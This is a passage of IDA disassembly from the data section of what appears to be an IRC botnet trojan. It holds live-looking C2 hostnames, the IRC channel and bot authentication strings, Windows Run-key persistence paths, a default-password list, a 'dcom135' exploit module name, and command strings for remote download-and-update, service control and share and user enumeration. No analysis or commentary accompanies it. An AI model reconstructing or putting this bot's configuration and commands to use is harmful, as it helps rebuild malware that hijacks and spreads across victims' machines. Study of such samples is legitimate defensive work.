1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 off_42E6F0 dd offset byte_5C3A41 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F778o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aDcom135_1 db 'dcom135',0 db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E40o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber2_ircqfor db 'saber2.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o align 4 aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 4 byte_42F654 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F678 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F688 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 10h aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120EFo ; sub_40EE72+50A2o ... align 10h aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 4 aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C8 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6CC dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aDb2 ; "db2" dd 0 dd offset byte_436EDC dd offset byte_436EDC dd offset aAdministrato_0 ; "ADMINISTRATOR" dd offset byte_436EDC align 8 dword_42F798 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aAdministrato_0 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F78Co align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F77Co aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6CCo a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C8o dword_42F7C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_42F7F0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_42F7FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 10h dword_42F870 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_42F8A0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_42F8CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42F908 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 10h asc_42F990: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_42F994 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42F9C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_42FA04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h dword_42FA40 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_42FA60 db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_42FAAC dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_42FAF8 db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_42FB40 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_42FB50 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_42FB5C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_42FB68 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_42FB78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_42FBB8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_42FC08 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_42FC44 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_42FC6C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42FCB4 dd 7A026E02h, 201F6D1Fh, 